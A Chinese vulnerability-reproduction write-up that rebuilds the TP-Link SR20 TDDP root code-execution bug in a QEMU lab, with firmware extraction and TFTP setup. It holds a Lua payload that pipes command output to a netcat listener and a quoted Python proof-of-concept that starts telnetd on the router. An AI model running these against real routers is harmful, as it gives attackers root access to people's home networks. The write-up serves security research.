作者:xax007@知道創宇404 ScanV 安全服務團隊
作者博客:https://xax007.github.io
簡述
3月26號 Google 安全開發人員 Matthew Garrett在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的遠程代碼執行漏洞,公布的原因是他去年 12 月份將相關漏洞報告提交給 TP-Link后沒有收到任何回復,于是就公開了,該漏洞截至目前官方修復,在最新固件中漏洞仍然存在,屬于 0day 漏洞,當我看到漏洞證明代碼(POC)后決定嘗試重現此漏洞

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在于 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議,基于 UDP 運行在 1040 端口
TP-Link SR20 設備運行了 V1 版本的 TDDP 協議,V1 版本無需認證,只需往 SR20 設備的 UDP 1040 端口發送數據,且數據的第二字節為 0x31 時,SR20 設備會連接發送該請求設備的 TFTP 服務下載相應的文件并使用 LUA 解釋器以 root 權限來執行,這就導致存在遠程代碼執行漏洞

漏洞環境搭建
以下所有操作都在 Ubuntu LTS 18.04 系統下進行
源碼編譯 QEMU
Qemu 是純軟件實現的虛擬化模擬器,幾乎可以模擬任何硬件設備,我們最熟悉的就是能夠模擬一臺能夠獨立運行操作系統的虛擬機
APT 倉庫有 QEMU,本可以使用 APT apt install qemu 直接安裝,但 APT 倉庫中的版本通常都不是最新的,擔心會有未知的 bug,因此選擇從 QEMU 官網下載最新穩定版源碼來編譯安裝
$ wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下載源碼
$ tar xvJf qemu-4.0.0-rc1.tar.xz #解壓源碼壓縮包
$ cd qemu-4.0.0-rc1 # 進入源碼目錄
$ ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 編譯前配置
$ make # 編譯
如果 configure 時沒有指定 target-list參數,make 會編譯針對所有平臺的 QEMU 導致會耗很長很長的時間,因此可以選擇只編譯 ARM 版的 QEMU 來加快編譯速度,至于選擇 ARM 版是因為 TP-Link SR20 存在漏洞的固件基于是 ARM 架構,下文中會看到。
編譯完成后安裝 checkinstall 來生成 deb 包
$ sudo apt-get install checkinstall # 安裝 checkinstall
$ sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安裝
如果不使用 checkinstall,直接sudo make install的會把 qemu 安裝在多個位置,如果發生錯誤不方便刪除,所以使用 checkinstall 生成 deb 包方便安裝和卸載。
安裝完成后可以看到安裝的版本

安裝 Binwalk
Binwalk 是一款文件的分析工具,旨在協助研究人員對文件進行分析,提取及逆向工程
$ sudo apt install git
$ git clone https://github.com/ReFirmLabs/binwalk
$ cd binwalk
$ python setup.py install
$ sudo ./deps.sh $ Debian/Ubuntu 系統用戶可以直接使用 deps.sh 腳本安裝所有的依賴
更詳細的安裝方法可以查看 Binwalk 的 GitHub wiki
PS: 本人在最后一步運行deps.sh安裝依賴的時 cramfstools 編譯出錯導致安裝失敗,如果你也遇到這個問題,不必理會,因為針對本文講述的漏洞,這個包并不需要安裝
從固件提取文件系統
從 TP-Link SR20 設備官網下載固件, 下載下來是一個 zip 壓縮包,解壓以后進入解壓后目錄,可以看到一個名字很長的叫 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin 的文件,這個就是該 SR20 設備的 firmware (固件)
使用 binwalk 查看該固件

使用 binwalk 把 Squashfs filesystem 從固件中提取出來,在固件 bin 文件所在目錄執行
$ binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
binwalk 會在當前目錄的 _+bin文件名 目錄下生成提取出來的固件里的所有內容,進入到該目錄

squashfs-root 目錄就是我們需要的固件文件系統

在該文件系統目錄下查找存在漏洞的 tddp 文件并查看文件類型可以看到該文件是一個 ARM 架構的小端(Small-Endian)32 位 ELF 文件

最高有效位 MSB(Most Significant Bit) 對應大端 (Big-endian)
最低有效位 LSB(Least Significant Bit) 對應小端 (Little-endian)
詳細介紹可閱讀:大端小端與MSB和LSB
這時可以使用 QEMU 來運行該文件
$ qemu-arm -L . ./usr/bin/tddp
PS: 不加 -L . 參數運行 qemu-arm 會報錯, -L . 參數會把當前目錄加入到 PATH 路徑中

經過測試發現通過這種方式運行 TDDP 程序并不能觸發該漏洞,因此需要搭建完整的 ARM QEMU 虛擬機環境
搭建 ARM QEMU 虛擬機環境
ARM CPU 有兩個矢量浮點(軟浮點和硬浮點)具體區別可以查看 Stackoverflow,本次選擇使用硬浮點 armhf
從 Debian 官網下載 QEMU 需要的 Debian ARM 系統的三個文件:
- debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
- initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
- vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
把以上三個文件放在同一個目錄執行以下命令
$ sudo tunctl -t tap0 -u `whoami` # 為了與 QEMU 虛擬機通信,添加一個虛擬網卡
$ sudo ifconfig tap0 10.10.10.1/24 # 為添加的虛擬網卡配置 IP 地址
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic


虛擬機啟動成功后會提示登陸
用戶名和密碼都為 root

配置網卡IP
ifconfig eth0 10.10.10.2/24

此時 QEMU 虛擬機可以與宿主機進行網絡通信
現在需要把從固件中提取出的文件系統打包后上傳到 QEMU 虛擬機中
壓縮固件文件系統目錄下的整個文件
$ tar -cjpf squashfs-root.tar.bz2 squashfs-root/
使用 Python 搭建簡易 HTTP Server
$ python -m SimpleHTTPServer
在 QEMU 虛擬機中下載上面打包好的文件
$ wget http://10.10.10.1:8000/squashfs-root.tar.bz2

使用 chroot 切換根目錄固件文件系統
$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh # 切換根目錄后執行新目錄結構下的 sh shell
PS: 使用 chroot 后,系統讀取的是新根下的目錄和文件,也就是固件的目錄和文件 chroot 默認不會切換 /dev 和 /proc, 因此切換根目錄前需要現掛載這兩個目錄

如果你有樹莓派,可以直接拿來用,幾年前買過一個樹莓派2B+,經過我的測試,安裝了 Raspbian 的樹莓派完全可以拿做做 ARM 的測試環境


搭建 TFTP Server
在宿主機安裝 atftpd 搭建 TFTP 服務
$ sudo apt install atftpd
- 編輯
/etc/default/atftpd文件,USE_INETD=true改為USE_INETD=false - 修改
/srv/tftp為/tftpboot
最終 /etc/default/atftpd 文件內容如下:
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
$ mkdir /tftpboot
$ chmod 777 /tftpboot
$ sudo systemctl start atftpd # 啟動 atftpd
如果執行命令 sudo systemctl status atftpd 查看 atftpd 服務狀態時
提示 atftpd: can't bind port :69/udp 無法綁定端口
可以執行 sudo systemctl stop inetutils-inetd.service 停用 inetutils-inetd 服務后
再執行 sudo systemctl restart atftpd 重新啟動 atftpd 即可正常運行 atftpd

此時環境已搭建完畢
重現漏洞
在 atftp 的根目錄 /tftpboot 下寫入 payload 文件
payload 文件內容為:
function config_test(config)
os.execute("id | nc 10.10.10.1 1337")
end

重現步驟為:
- QEMU 虛擬機中啟動 tddp 程序
- 宿主機使用 NC 監聽端口
- 執行 POC,獲取命令執行結果
漏洞證明代碼(Proof of concept):
#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
最終成功重現此漏洞


參考鏈接 4 中說到 TP-Link 的 TL-WA5210g 無線路由器的 TDDP 服務只能通過有線網絡訪問,連 Wi-Fi 也不能訪問,由于手上沒有 SR20設備,因此斷定該 SR20 設備的 TDDP 端口可能也是這種情況,我想這應該就是官方未修復此漏洞的原因吧
參考鏈接 4 中詳細介紹 TDDP 協議以及該協議 V1 和 V 2版本的區別等知識點
最后感謝知道創宇404實驗室 @fenix 大佬的指點
參考鏈接
- Remote code execution as root from the local network on TP-Link SR20 routers
- How to set up QEMU 3.0 on Ubuntu 18.04
- Vivotek 攝像頭遠程棧溢出漏洞分析及利用
- 一個針對TP-Link調試協議(TDDP)漏洞挖掘的故事
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/879/
暫無評論